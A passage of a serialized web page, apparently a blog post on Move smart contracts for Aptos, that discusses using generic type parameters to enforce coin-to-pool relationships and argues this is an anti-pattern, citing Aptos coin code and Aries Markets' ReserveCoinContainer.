LiquidityPool",{"type":23,"tag":75,"props":17327,"children":17328},{"style":94},[17329],{"type":29,"value":295},{"type":23,"tag":75,"props":17331,"children":17332},{"style":110},[17333],{"type":29,"value":17081},{"type":23,"tag":75,"props":17335,"children":17336},{"style":104},[17337],{"type":29,"value":17338}," X",{"type":23,"tag":75,"props":17340,"children":17341},{"style":94},[17342],{"type":29,"value":611},{"type":23,"tag":75,"props":17344,"children":17345},{"style":110},[17346],{"type":29,"value":17081},{"type":23,"tag":75,"props":17348,"children":17349},{"style":104},[17350],{"type":29,"value":17351}," Y",{"type":23,"tag":75,"props":17353,"children":17354},{"style":94},[17355],{"type":29,"value":611},{"type":23,"tag":75,"props":17357,"children":17358},{"style":110},[17359],{"type":29,"value":17081},{"type":23,"tag":75,"props":17361,"children":17362},{"style":94},[17363],{"type":29,"value":17364}," LP> ",{"type":23,"tag":75,"props":17366,"children":17367},{"style":110},[17368],{"type":29,"value":17096},{"type":23,"tag":75,"props":17370,"children":17371},{"style":110},[17372],{"type":29,"value":1663},{"type":23,"tag":75,"props":17374,"children":17375},{"style":94},[17376],{"type":29,"value":401},{"type":23,"tag":75,"props":17378,"children":17379},{"class":77,"line":121},[17380,17385,17389,17393,17397,17402],{"type":23,"tag":75,"props":17381,"children":17382},{"style":110},[17383],{"type":29,"value":17384},"        coin_x_reserve",{"type":23,"tag":75,"props":17386,"children":17387},{"style":209},[17388],{"type":29,"value":1018},{"type":23,"tag":75,"props":17390,"children":17391},{"style":104},[17392],{"type":29,"value":17072},{"type":23,"tag":75,"props":17394,"children":17395},{"style":94},[17396],{"type":29,"value":295},{"type":23,"tag":75,"props":17398,"children":17399},{"style":104},[17400],{"type":29,"value":17401},"X",{"type":23,"tag":75,"props":17403,"children":17404},{"style":94},[17405],{"type":29,"value":1114},{"type":23,"tag":75,"props":17407,"children":17408},{"class":77,"line":138},[17409,17414,17418,17422,17426,17431],{"type":23,"tag":75,"props":17410,"children":17411},{"style":110},[17412],{"type":29,"value":17413},"        coin_y_reserve",{"type":23,"tag":75,"props":17415,"children":17416},{"style":209},[17417],{"type":29,"value":1018},{"type":23,"tag":75,"props":17419,"children":17420},{"style":104},[17421],{"type":29,"value":17072},{"type":23,"tag":75,"props":17423,"children":17424},{"style":94},[17425],{"type":29,"value":295},{"type":23,"tag":75,"props":17427,"children":17428},{"style":104},[17429],{"type":29,"value":17430},"Y",{"type":23,"tag":75,"props":17432,"children":17433},{"style":94},[17434],{"type":29,"value":1114},{"type":23,"tag":75,"props":17436,"children":17437},{"class":77,"line":161},[17438],{"type":23,"tag":75,"props":17439,"children":17440},{"style":3621},[17441],{"type":29,"value":17442},"        // ...\n",{"type":23,"tag":75,"props":17444,"children":17445},{"class":77,"line":196},[17446],{"type":23,"tag":75,"props":17447,"children":17448},{"style":94},[17449],{"type":29,"value":346},{"type":23,"tag":32,"props":17451,"children":17452},{},[17453],{"type":29,"value":17454},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":23,"tag":64,"props":17456,"children":17458},{"className":987,"code":17457,"language":986,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[17459],{"type":23,"tag":71,"props":17460,"children":17461},{"__ignoreMap":7},[17462,17501,17522,17550,17578,17629,17637,17644],{"type":23,"tag":75,"props":17463,"children":17464},{"class":77,"line":78},[17465,17470,17475,17480,17484,17488,17492,17496],{"type":23,"tag":75,"props":17466,"children":17467},{"style":110},[17468],{"type":29,"value":17469},"      public",{"type":23,"tag":75,"props":17471,"children":17472},{"style":110},[17473],{"type":29,"value":17474}," fun",{"type":23,"tag":75,"props":17476,"children":17477},{"style":110},[17478],{"type":29,"value":17479}," mint",{"type":23,"tag":75,"props":17481,"children":17482},{"style":94},[17483],{"type":29,"value":295},{"type":23,"tag":75,"props":17485,"children":17486},{"style":104},[17487],{"type":29,"value":17401},{"type":23,"tag":75,"props":17489,"children":17490},{"style":94},[17491],{"type":29,"value":611},{"type":23,"tag":75,"props":17493,"children":17494},{"style":104},[17495],{"type":29,"value":17430},{"type":23,"tag":75,"props":17497,"children":17498},{"style":94},[17499],{"type":29,"value":17500},", LP>(\n",{"type":23,"tag":75,"props":17502,"children":17503},{"class":77,"line":100},[17504,17509,17513,17518],{"type":23,"tag":75,"props":17505,"children":17506},{"style":110},[17507],{"type":29,"value":17508},"          pool_addr",{"type":23,"tag":75,"props":17510,"children":17511},{"style":209},[17512],{"type":29,"value":1018},{"type":23,"tag":75,"props":17514,"children":17515},{"style":110},[17516],{"type":29,"value":17517}," address",{"type":23,"tag":75,"props":17519,"children":17520},{"style":94},[17521],{"type":29,"value":118},{"type":23,"tag":75,"props":17523,"children":17524},{"class":77,"line":121},[17525,17530,17534,17538,17542,17546],{"type":23,"tag":75,"props":17526,"children":17527},{"style":110},[17528],{"type":29,"value":17529},"          coin_x",{"type":23,"tag":75,"props":17531,"children":17532},{"style":209},[17533],{"type":29,"value":1018},{"type":23,"tag":75,"props":17535,"children":17536},{"style":104},[17537],{"type":29,"value":17072},{"type":23,"tag":75,"props":17539,"children":17540},{"style":94},[17541],{"type":29,"value":295},{"type":23,"tag":75,"props":17543,"children":17544},{"style":104},[17545],{"type":29,"value":17401},{"type":23,"tag":75,"props":17547,"children":17548},{"style":94},[17549],{"type":29,"value":1114},{"type":23,"tag":75,"props":17551,"children":17552},{"class":77,"line":138},[17553,17558,17562,17566,17570,17574],{"type":23,"tag":75,"props":17554,"children":17555},{"style":110},[17556],{"type":29,"value":17557},"          coin_y",{"type":23,"tag":75,"props":17559,"children":17560},{"style":209},[17561],{"type":29,"value":1018},{"type":23,"tag":75,"props":17563,"children":17564},{"style":104},[17565],{"type":29,"value":17072},{"type":23,"tag":75,"props":17567,"children":17568},{"style":94},[17569],{"type":29,"value":295},{"type":23,"tag":75,"props":17571,"children":17572},{"style":104},[17573],{"type":29,"value":17430},{"type":23,"tag":75,"props":17575,"children":17576},{"style":94},[17577],{"type":29,"value":17260},{"type":23,"tag":75,"props":17579,"children":17580},{"class":77,"line":161},[17581,17586,17590,17594,17598,17603,17607,17612,17616,17620,17625],{"type":23,"tag":75,"props":17582,"children":17583},{"style":94},[17584],{"type":29,"value":17585},"      )",{"type":23,"tag":75,"props":17587,"children":17588},{"style":209},[17589],{"type":29,"value":1018},{"type":23,"tag":75,"props":17591,"children":17592},{"style":104},[17593],{"type":29,"value":17072},{"type":23,"tag":75,"props":17595,"children":17596},{"style":94},[17597],{"type":29,"value":295},{"type":23,"tag":75,"props":17599,"children":17600},{"style":104},[17601],{"type":29,"value":17602},"LP",{"type":23,"tag":75,"props":17604,"children":17605},{"style":94},[17606],{"type":29,"value":17091},{"type":23,"tag":75,"props":17608,"children":17609},{"style":110},[17610],{"type":29,"value":17611},"acquires",{"type":23,"tag":75,"props":17613,"children":17614},{"style":104},[17615],{"type":29,"value":17325},{"type":23,"tag":75,"props":17617,"children":17618},{"style":94},[17619],{"type":29,"value":611},{"type":23,"tag":75,"props":17621,"children":17622},{"style":104},[17623],{"type":29,"value":17624},"EventsStore",{"type":23,"tag":75,"props":17626,"children":17627},{"style":94},[17628],{"type":29,"value":401},{"type":23,"tag":75,"props":17630,"children":17631},{"class":77,"line":196},[17632],{"type":23,"tag":75,"props":17633,"children":17634},{"style":3621},[17635],{"type":29,"value":17636},"          // ...\n",{"type":23,"tag":75,"props":17638,"children":17639},{"class":77,"line":220},[17640],{"type":23,"tag":75,"props":17641,"children":17642},{"emptyLinePlaceholder":15},[17643],{"type":29,"value":276},{"type":23,"tag":75,"props":17645,"children":17646},{"class":77,"line":248},[17647,17652,17656,17661,17665,17670,17674,17678,17683,17687,17691,17695,17699,17704,17709],{"type":23,"tag":75,"props":17648,"children":17649},{"style":82},[17650],{"type":29,"value":17651},"          let",{"type":23,"tag":75,"props":17653,"children":17654},{"style":94},[17655],{"type":29,"value":183},{"type":23,"tag":75,"props":17657,"children":17658},{"style":110},[17659],{"type":29,"value":17660},"x_reserve_size",{"type":23,"tag":75,"props":17662,"children":17663},{"style":94},[17664],{"type":29,"value":611},{"type":23,"tag":75,"props":17666,"children":17667},{"style":110},[17668],{"type":29,"value":17669},"y_reserve_size",{"type":23,"tag":75,"props":17671,"children":17672},{"style":94},[17673],{"type":29,"value":167},{"type":23,"tag":75,"props":17675,"children":17676},{"style":209},[17677],{"type":29,"value":212},{"type":23,"tag":75,"props":17679,"children":17680},{"style":110},[17681],{"type":29,"value":17682}," get_reserves_size",{"type":23,"tag":75,"props":17684,"children":17685},{"style":94},[17686],{"type":29,"value":295},{"type":23,"tag":75,"props":17688,"children":17689},{"style":104},[17690],{"type":29,"value":17401},{"type":23,"tag":75,"props":17692,"children":17693},{"style":94},[17694],{"type":29,"value":611},{"type":23,"tag":75,"props":17696,"children":17697},{"style":104},[17698],{"type":29,"value":17430},{"type":23,"tag":75,"props":17700,"children":17701},{"style":94},[17702],{"type":29,"value":17703},", LP>(",{"type":23,"tag":75,"props":17705,"children":17706},{"style":110},[17707],{"type":29,"value":17708},"pool_addr",{"type":23,"tag":75,"props":17710,"children":17711},{"style":94},[17712],{"type":29,"value":15099},{"type":23,"tag":32,"props":17714,"children":17715},{},[17716,17718,17724,17725,17732],{"type":29,"value":17717},"As an aside, this generic type information is implemented at runtime in the ",{"type":23,"tag":71,"props":17719,"children":17721},{"className":17720},[],[17722],{"type":29,"value":17723},"ty_args",{"type":29,"value":949},{"type":23,"tag":940,"props":17726,"children":17729},{"href":17727,"rel":17728},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[944],[17730],{"type":29,"value":17731},"at the vm level",{"type":29,"value":17733},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":23,"tag":32,"props":17735,"children":17736},{},[17737,17739,17745,17747,17753,17754,17760,17761,17767],{"type":29,"value":17738},"In pseucode, this checks that ",{"type":23,"tag":71,"props":17740,"children":17742},{"className":17741},[],[17743],{"type":29,"value":17744},"coin_x.type",{"type":29,"value":17746}," is equal to ",{"type":23,"tag":71,"props":17748,"children":17750},{"className":17749},[],[17751],{"type":29,"value":17752},"pool.x_type",{"type":29,"value":5777},{"type":23,"tag":71,"props":17755,"children":17757},{"className":17756},[],[17758],{"type":29,"value":17759},"coin_y.type",{"type":29,"value":17746},{"type":23,"tag":71,"props":17762,"children":17764},{"className":17763},[],[17765],{"type":29,"value":17766},"pool.y_type",{"type":29,"value":557},{"type":23,"tag":32,"props":17769,"children":17770},{},[17771],{"type":29,"value":17772},"This type system has two advantages",{"type":23,"tag":2797,"props":17774,"children":17775},{},[17776,17788],{"type":23,"tag":2801,"props":17777,"children":17778},{},[17779,17781,17786],{"type":29,"value":17780},"It's required. The type parameter ",{"type":23,"tag":9690,"props":17782,"children":17783},{},[17784],{"type":29,"value":17785},"must",{"type":29,"value":17787}," be specified so it's impossible to forget such a constraint",{"type":23,"tag":2801,"props":17789,"children":17790},{},[17791],{"type":29,"value":17792},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":23,"tag":32,"props":17794,"children":17795},{},[17796],{"type":29,"value":17797},"However, this system isn't perfect.",{"type":23,"tag":32,"props":17799,"children":17800},{},[17801,17803,17808],{"type":29,"value":17802},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":23,"tag":16596,"props":17804,"children":17805},{},[17806],{"type":29,"value":17807},"an anti-pattern",{"type":29,"value":557},{"type":23,"tag":32,"props":17810,"children":17811},{},[17812,17814,17820],{"type":29,"value":17813},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":23,"tag":71,"props":17815,"children":17817},{"className":17816},[],[17818],{"type":29,"value":17819},"CoinInfo\u003CCoinType>",{"type":29,"value":557},{"type":23,"tag":64,"props":17822,"children":17824},{"className":987,"code":17823,"language":986,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[17825],{"type":23,"tag":71,"props":17826,"children":17827},{"__ignoreMap":7},[17828,17854,17862,17931,17938,17945,17957,18001,18023],{"type":23,"tag":75,"props":17829,"children":17830},{"class":77,"line":78},[17831,17836,17841,17845,17850],{"type":23,"tag":75,"props":17832,"children":17833},{"style":110},[17834],{"type":29,"value":17835},"  fun",{"type":23,"tag":75,"props":17837,"children":17838},{"style":110},[17839],{"type":29,"value":17840}," initialize_internal",{"type":23,"tag":75,"props":17842,"children":17843},{"style":94},[17844],{"type":29,"value":295},{"type":23,"tag":75,"props":17846,"children":17847},{"style":104},[17848],{"type":29,"value":17849},"CoinType",{"type":23,"tag":75,"props":17851,"children":17852},{"style":94},[17853],{"type":29,"value":1064},{"type":23,"tag":75,"props":17855,"children":17856},{"class":77,"line":100},[17857],{"type":23,"tag":75,"props":17858,"children":17859},{"style":3621},[17860],{"type":29,"value":17861},"      // ...\n",{"type":23,"tag":75,"props":17863,"children":17864},{"class":77,"line":121},[17865,17870,17874,17878,17883,17887,17891,17896,17901,17905,17909,17913,17918,17922,17926],{"type":23,"tag":75,"props":17866,"children":17867},{"style":94},[17868],{"type":29,"value":17869},"  )",{"type":23,"tag":75,"props":17871,"children":17872},{"style":209},[17873],{"type":29,"value":1018},{"type":23,"tag":75,"props":17875,"children":17876},{"style":94},[17877],{"type":29,"value":183},{"type":23,"tag":75,"props":17879,"children":17880},{"style":104},[17881],{"type":29,"value":17882},"BurnCapability",{"type":23,"tag":75,"props":17884,"children":17885},{"style":94},[17886],{"type":29,"value":295},{"type":23,"tag":75,"props":17888,"children":17889},{"style":104},[17890],{"type":29,"value":17849},{"type":23,"tag":75,"props":17892,"children":17893},{"style":94},[17894],{"type":29,"value":17895},">, ",{"type":23,"tag":75,"props":17897,"children":17898},{"style":104},[17899],{"type":29,"value":17900},"FreezeCapability",{"type":23,"tag":75,"props":17902,"children":17903},{"style":94},[17904],{"type":29,"value":295},{"type":23,"tag":75,"props":17906,"children":17907},{"style":104},[17908],{"type":29,"value":17849},{"type":23,"tag":75,"props":17910,"children":17911},{"style":94},[17912],{"type":29,"value":17895},{"type":23,"tag":75,"props":17914,"children":17915},{"style":104},[17916],{"type":29,"value":17917},"MintCapability",{"type":23,"tag":75,"props":17919,"children":17920},{"style":94},[17921],{"type":29,"value":295},{"type":23,"tag":75,"props":17923,"children":17924},{"style":104},[17925],{"type":29,"value":17849},{"type":23,"tag":75,"props":17927,"children":17928},{"style":94},[17929],{"type":29,"value":17930},">) {\n",{"type":23,"tag":75,"props":17932,"children":17933},{"class":77,"line":138},[17934],{"type":23,"tag":75,"props":17935,"children":17936},{"style":3621},[17937],{"type":29,"value":17861},{"type":23,"tag":75,"props":17939,"children":17940},{"class":77,"line":161},[17941],{"type":23,"tag":75,"props":17942,"children":17943},{"emptyLinePlaceholder":15},[17944],{"type":29,"value":276},{"type":23,"tag":75,"props":17946,"children":17947},{"class":77,"line":196},[17948,17953],{"type":23,"tag":75,"props":17949,"children":17950},{"style":88},[17951],{"type":29,"value":17952},"      assert!",{"type":23,"tag":75,"props":17954,"children":17955},{"style":94},[17956],{"type":29,"value":97},{"type":23,"tag":75,"props":17958,"children":17959},{"class":77,"line":220},[17960,17965,17970,17974,17979,17983,17987,17992,17997],{"type":23,"tag":75,"props":17961,"children":17962},{"style":209},[17963],{"type":29,"value":17964},"          !",{"type":23,"tag":75,"props":17966,"children":17967},{"style":110},[17968],{"type":29,"value":17969},"exists",{"type":23,"tag":75,"props":17971,"children":17972},{"style":94},[17973],{"type":29,"value":295},{"type":23,"tag":75,"props":17975,"children":17976},{"style":104},[17977],{"type":29,"value":17978},"CoinInfo",{"type":23,"tag":75,"props":17980,"children":17981},{"style":94},[17982],{"type":29,"value":295},{"type":23,"tag":75,"props":17984,"children":17985},{"style":104},[17986],{"type":29,"value":17849},{"type":23,"tag":75,"props":17988,"children":17989},{"style":94},[17990],{"type":29,"value":17991},">>(",{"type":23,"tag":75,"props":17993,"children":17994},{"style":110},[17995],{"type":29,"value":17996},"account_addr",{"type":23,"tag":75,"props":17998,"children":17999},{"style":94},[18000],{"type":29,"value":1792},{"type":23,"tag":75,"props":18002,"children":18003},{"class":77,"line":248},[18004,18009,18013,18018],{"type":23,"tag":75,"props":18005,"children":18006},{"style":94},[18007],{"type":29,"value":18008},"          error",{"type":23,"tag":75,"props":18010,"children":18011},{"style":209},[18012],{"type":29,"value":1407},{"type":23,"tag":75,"props":18014,"children":18015},{"style":88},[18016],{"type":29,"value":18017},"already_exists",{"type":23,"tag":75,"props":18019,"children":18020},{"style":94},[18021],{"type":29,"value":18022},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":23,"tag":75,"props":18024,"children":18025},{"class":77,"line":270},[18026],{"type":23,"tag":75,"props":18027,"children":18028},{"style":94},[18029],{"type":29,"value":18030},"      );\n",{"type":23,"tag":32,"props":18032,"children":18033},{},[18034,18036,18041],{"type":29,"value":18035},"While this ",{"type":23,"tag":71,"props":18037,"children":18039},{"className":18038},[],[18040],{"type":29,"value":17978},{"type":29,"value":18042}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":23,"tag":32,"props":18044,"children":18045},{},[18046,18048,18055],{"type":29,"value":18047},"Similarly, consider ",{"type":23,"tag":940,"props":18049,"children":18052},{"href":18050,"rel":18051},"https://ariesmarkets.xyz/",[944],[18053],{"type":29,"value":18054},"Aries Markets",{"type":29,"value":18056},", a lending/borrowing protocol building on Aptos.",{"type":23,"tag":32,"props":18058,"children":18059},{},[18060,18062,18068],{"type":29,"value":18061},"Their ",{"type":23,"tag":71,"props":18063,"children":18065},{"className":18064},[],[18066],{"type":29,"value":18067},"ReserveCoinContainer",{"type":29,"value":18069}," struct stores all the relevant data and resources for managing a lending market.",{"type":23,"tag":64,"props":18071,"children":18073},{"className":987,"code":18072,"language":986,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[18074],{"type":23,"tag":71,"props":18075,"children":18076},{"__ignoreMap":7},[18077,18085,18093,18134,18142,18171,18179,18216,18224,18261,18269,18306,18313,18320],{"type":23,"tag":75,"props":18078,"children":18079},{"class":77,"line":78},[18080],{"type":23,"tag":75,"props":18081,"children":18082},{"style":3621},[18083],{"type":29,"value":18084},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":23,"tag":75,"props":18086,"children":18087},{"class":77,"line":100},[18088],{"type":23,"tag":75,"props":18089,"children":18090},{"style":3621},[18091],{"type":29,"value":18092},"  /// Stored as a resources.\n",{"type":23,"tag":75,"props":18094,"children":18095},{"class":77,"line":121},[18096,18100,18105,18109,18113,18118,18122,18126,18130],{"type":23,"tag":75,"props":18097,"children":18098},{"style":82},[18099],{"type":29,"value":17067},{"type":23,"tag":75,"props":18101,"children":18102},{"style":104},[18103],{"type":29,"value":18104}," ReserveCoinContainer",{"type":23,"tag":75,"props":18106,"children":18107},{"style":94},[18108],{"type":29,"value":295},{"type":23,"tag":75,"props":18110,"children":18111},{"style":110},[18112],{"type":29,"value":17081},{"type":23,"tag":75,"props":18114,"children":18115},{"style":104},[18116],{"type":29,"value":18117}," Coin0",{"type":23,"tag":75,"props":18119,"children":18120},{"style":94},[18121],{"type":29,"value":17091},{"type":23,"tag":75,"props":18123,"children":18124},{"style":110},[18125],{"type":29,"value":17096},{"type":23,"tag":75,"props":18127,"children":18128},{"style":110},[18129],{"type":29,"value":1663},{"type":23,"tag":75,"props":18131,"children":18132},{"style":94},[18133],{"type":29,"value":401},{"type":23,"tag":75,"props":18135,"children":18136},{"class":77,"line":138},[18137],{"type":23,"tag":75,"props":18138,"children":18139},{"style":3621},[18140],{"type":29,"value":18141},"      /// Stores the available `Coin`.\n",{"type":23,"tag":75,"props":18143,"children":18144},{"class":77,"line":161},[18145,18150,18154,18158,18162,18167],{"type":23,"tag":75,"props":18146,"children":18147},{"style":110},[18148],{"type":29,"value":18149},"      underlying_coin",{"type":23,"tag":75,"props":18151,"children":18152},{"style":209},[18153],{"type":29,"value":1018},{"type":23,"tag":75,"props":18155,"children":18156},{"style":104},[18157],{"type":29,"value":17072},{"type":23,"tag":75,"props":18159,"children":18160},{"style":94},[18161],{"type":29,"value":295},{"type":23,"tag":75,"props":18163,"children":18164},{"style":104},[18165],{"type":29,"value":18166},"Coin0",{"type":23,"tag":75,"props":18168,"children":18169},{"style":94},[18170],{"type":29,"value":1114},{"type":23,"tag":75,"props":18172,"children":18173},{"class":77,"line":196},[18174],{"type":23,"tag":75,"props":18175,"children":18176},{"style":3621},[18177],{"type":29,"value":18178},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":23,"tag":75,"props":18180,"children":18181},{"class":77,"line":220},[18182,18187,18191,18195,18199,18203,18207,18211],{"type":23,"tag":75,"props":18183,"children":18184},{"style":110},[18185],{"type":29,"value":18186},"      collateralised_lp_coin",{"type":23,"tag":75,"props":18188,"children":18189},{"style":209},[18190],{"type":29,"value":1018},{"type":23,"tag":75,"props":18192,"children":18193},{"style":104},[18194],{"type":29,"value":17072},{"type":23,"tag":75,"props":18196,"children":18197},{"style":94},[18198],{"type":29,"value":295},{"type":23,"tag":75,"props":18200,"children":18201},{"style":104},[18202],{"type":29,"value":17602},{"type":23,"tag":75,"props":18204,"children":18205},{"style":94},[18206],{"type":29,"value":295},{"type":23,"tag":75,"props":18208,"children":18209},{"style":104},[18210],{"type":29,"value":18166},{"type":23,"tag":75,"props":18212,"children":18213},{"style":94},[18214],{"type":29,"value":18215},">>,\n",{"type":23,"tag":75,"props":18217,"children":18218},{"class":77,"line":248},[18219],{"type":23,"tag":75,"props":18220,"children":18221},{"style":3621},[18222],{"type":29,"value":18223},"      /// Mint capability for LP Coin.\n",{"type":23,"tag":75,"props":18225,"children":18226},{"class":77,"line":270},[18227,18232,18236,18241,18245,18249,18253,18257],{"type":23,"tag":75,"props":18228,"children":18229},{"style":110},[18230],{"type":29,"value":18231},"      mint_capability",{"type":23,"tag":75,"props":18233,"children":18234},{"style":209},[18235],{"type":29,"value":1018},{"type":23,"tag":75,"props":18237,"children":18238},{"style":104},[18239],{"type":29,"value":18240}," MintCapability",{"type":23,"tag":75,"props":18242,"children":18243},{"style":94},[18244],{"type":29,"value":295},{"type":23,"tag":75,"props":18246,"children":18247},{"style":104},[18248],{"type":29,"value":17602},{"type":23,"tag":75,"props":18250,"children":18251},{"style":94},[18252],{"type":29,"value":295},{"type":23,"tag":75,"props":18254,"children":18255},{"style":104},[18256],{"type":29,"value":18166},{"type":23,"tag":75,"props":18258,"children":18259},{"style":94},[18260],{"type":29,"value":18215},{"type":23,"tag":75,"props":18262,"children":18263},{"class":77,"line":279},[18264],{"type":23,"tag":75,"props":18265,"children":18266},{"style":3621},[18267],{"type":29,"value":18268},"      /// Burn capability for LP Coin.\n",{"type":23,"tag":75,"props":18270,"children":18271},{"class":77,"line":303},[18272,18277,18281,18286,18290,18294,18298,18302],{"type":23,"tag":75,"props":18273,"children":18274},{"style":110},[18275],{"type":29,"value":18276},"      burn_capability",{"type":23,"tag":75,"props":18278,"children":18279},{"style":209},[18280],{"type":29,"value":1018},{"type":23,"tag":75,"props":18282,"children":18283},{"style":104},[18284],{"type":29,"value":18285}," BurnCapability",{"type":23,"tag":75,"props":18287,"children":18288},{"style":94},[18289],{"type":29,"value":295},{"type":23,"tag":75,"props":18291,"children":18292},{"style":104},[18293],{"type":29,"value":17602},{"type":23,"tag":75,"props":18295,"children":18296},{"style":94},[18297],{"type":29,"value":295},{"type":23,"tag":75,"props":18299,"children":18300},{"style":104},[18301],{"type":29,"value":18166},{"type":23,"tag":75,"props":18303,"children":18304},{"style":94},[18305],{"type":29,"value":18215},{"type":23,"tag":75,"props":18307,"children":18308},{"class":77,"line":322},[18309],{"type":23,"tag":75,"props":18310,"children":18311},{"emptyLinePlaceholder":15},[18312],{"type":29,"value":276},{"type":23,"tag":75,"props":18314,"children":18315},{"class":77,"line":340},[18316],{"type":23,"tag":75,"props":18317,"children":18318},{"style":3621},[18319],{"type":29,"value":17861},{"type":23,"tag":75,"props":18321,"children":18322},{"class":77,"line":349},[18323],{"type":23,"tag":75,"props":18324,"children":18325},{"style":94},[18326],{"type":29,"value":17141},{"type":23,"tag":32,"props":18328,"children":18329},{},[18330,18332,18337],{"type":29,"value":18331},"When creating a ",{"type":23,"tag":71,"props":18333,"children":18335},{"className":18334},[],[18336],{"type":29,"value":18067},{"type":29,"value":18338},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":23,"tag":64,"props":18340,"children":18342},{"className":987,"code":18341,"language":986,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[18343],{"type":23,"tag":71,"props":18344,"children":18345},{"__ignoreMap":7},[18346,18389,18413,18420,18441,18486,18493,18500,18507,18543,18550],{"type":23,"tag":75,"props":18347,"children":18348},{"class":77,"line":78},[18349,18354,18358,18363,18367,18372,18377,18381,18385],{"type":23,"tag":75,"props":18350,"children":18351},{"style":88},[18352],{"type":29,"value":18353},"  public",{"type":23,"tag":75,"props":18355,"children":18356},{"style":94},[18357],{"type":29,"value":643},{"type":23,"tag":75,"props":18359,"children":18360},{"style":110},[18361],{"type":29,"value":18362},"friend",{"type":23,"tag":75,"props":18364,"children":18365},{"style":94},[18366],{"type":29,"value":167},{"type":23,"tag":75,"props":18368,"children":18369},{"style":110},[18370],{"type":29,"value":18371},"fun",{"type":23,"tag":75,"props":18373,"children":18374},{"style":110},[18375],{"type":29,"value":18376}," create",{"type":23,"tag":75,"props":18378,"children":18379},{"style":94},[18380],{"type":29,"value":295},{"type":23,"tag":75,"props":18382,"children":18383},{"style":104},[18384],{"type":29,"value":18166},{"type":23,"tag":75,"props":18386,"children":18387},{"style":94},[18388],{"type":29,"value":1064},{"type":23,"tag":75,"props":18390,"children":18391},{"class":77,"line":100},[18392,18397,18401,18405,18409],{"type":23,"tag":75,"props":18393,"children":18394},{"style":110},[18395],{"type":29,"value":18396},"      lp_store",{"type":23,"tag":75,"props":18398,"children":18399},{"style":209},[18400],{"type":29,"value":1018},{"type":23,"tag":75,"props":18402,"children":18403},{"style":209},[18404],{"type":29,"value":844},{"type":23,"tag":75,"props":18406,"children":18407},{"style":110},[18408],{"type":29,"value":3270},{"type":23,"tag":75,"props":18410,"children":18411},{"style":94},[18412],{"type":29,"value":118},{"type":23,"tag":75,"props":18414,"children":18415},{"class":77,"line":121},[18416],{"type":23,"tag":75,"props":18417,"children":18418},{"style":3621},[18419],{"type":29,"value":17861},{"type":23,"tag":75,"props":18421,"children":18422},{"class":77,"line":138},[18423,18428,18432,18437],{"type":23,"tag":75,"props":18424,"children":18425},{"style":94},[18426],{"type":29,"value":18427},"  ) ",{"type":23,"tag":75,"props":18429,"children":18430},{"style":110},[18431],{"type":29,"value":17611},{"type":23,"tag":75,"props":18433,"children":18434},{"style":104},[18435],{"type":29,"value":18436}," Reserves",{"type":23,"tag":75,"props":18438,"children":18439},{"style":94},[18440],{"type":29,"value":401},{"type":23,"tag":75,"props":18442,"children":18443},{"class":77,"line":161},[18444,18449,18453,18458,18463,18467,18472,18476,18481],{"type":23,"tag":75,"props":18445,"children":18446},{"style":94},[18447],{"type":29,"value":18448},"      lp",{"type":23,"tag":75,"props":18450,"children":18451},{"style":209},[18452],{"type":29,"value":1407},{"type":23,"tag":75,"props":18454,"children":18455},{"style":88},[18456],{"type":29,"value":18457},"assert_is_lp_store",{"type":23,"tag":75,"props":18459,"children":18460},{"style":94},[18461],{"type":29,"value":18462},"(signer",{"type":23,"tag":75,"props":18464,"children":18465},{"style":209},[18466],{"type":29,"value":1407},{"type":23,"tag":75,"props":18468,"children":18469},{"style":88},[18470],{"type":29,"value":18471},"address_of",{"type":23,"tag":75,"props":18473,"children":18474},{"style":94},[18475],{"type":29,"value":643},{"type":23,"tag":75,"props":18477,"children":18478},{"style":110},[18479],{"type":29,"value":18480},"lp_store",{"type":23,"tag":75,"props":18482,"children":18483},{"style":94},[18484],{"type":29,"value":18485},"));\n",{"type":23,"tag":75,"props":18487,"children":18488},{"class":77,"line":196},[18489],{"type":23,"tag":75,"props":18490,"children":18491},{"emptyLinePlaceholder":15},[18492],{"type":29,"value":276},{"type":23,"tag":75,"props":18494,"children":18495},{"class":77,"line":220},[18496],{"type":23,"tag":75,"props":18497,"children":18498},{"style":3621},[18499],{"type":29,"value":17861},{"type":23,"tag":75,"props":18501,"children":18502},{"class":77,"line":248},[18503],{"type":23,"tag":75,"